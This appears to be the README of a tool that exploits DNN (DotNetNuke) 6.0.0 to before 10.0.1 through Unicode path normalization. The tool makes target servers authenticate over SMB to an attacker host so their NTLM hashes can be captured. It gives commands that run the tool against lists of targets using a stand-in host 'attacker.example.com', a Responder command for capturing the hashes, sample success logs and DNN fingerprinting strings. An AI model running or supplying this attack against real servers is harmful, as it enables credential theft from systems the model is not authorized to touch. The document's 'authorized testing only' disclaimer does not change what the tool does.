
This exploit targets a vulnerability in DNN (formerly DotNetNuke) versions 6.0.0 to before 10.0.1 that allows attackers to disclose NTLM hashes through Unicode path normalization attacks.
This exploit targets a vulnerability in DNN (formerly DotNetNuke) versions 6.0.0 to before 10.0.1 that allows attackers to disclose NTLM hashes through Unicode path normalization attacks.
The exploit abuses Windows/.NET quirks and Unicode normalization to force the target DNN server to make SMB requests to an attacker-controlled server, potentially exposing NTLM hashes during the authentication process.
pip install -r requirements.txt)python main.py targets.txt attacker.example.com
python main.py targets.txt 192.168.1.100 -t 20 --timeout 15
targets: File containing list of DNN hosts (one per line)smb_server: SMB server hostname/IP to capture NTLM hashes-t, --threads: Number of concurrent threads (default: 10)--timeout: Request timeout in seconds (default: 10)Create a text file with target URLs, one per line:
http://target1.example.com
https://target2.example.com:8080
target3.example.com
You can use tools like Responder to capture NTLM hashes:
responder -I eth0 -wrf
Or use Burp Collaborator for out-of-band detection.
[2025-01-XX-XX:XX:XX] [INFO] Starting DNN NTLM hash disclosure exploit against 5 targets
[2025-01-XX-XX:XX:XX] [INFO] SMB Server: attacker.example.com
[2025-01-XX-XX:XX:XX] [SUCCESS] [target1.com] DNN indicator found: dnn_IsMobile
[2025-01-XX-XX:XX:XX] [SUCCESS] [target1.com] File upload endpoint accessible
[2025-01-XX-XX:XX:XX] [SUCCESS] [target1.com] Exploit payload sent successfully
[2025-01-XX-XX:XX:XX] [INFO] [target1.com] Check your SMB server for incoming NTLM authentication attempts
The exploit looks for the following DNN indicators:
dnn_IsMobile cookiedotnetnuke in responsednnconnect in responseDNN Platform in responseThis tool is for educational and authorized security testing purposes only. Use responsibly and only on systems you own or have explicit permission to test.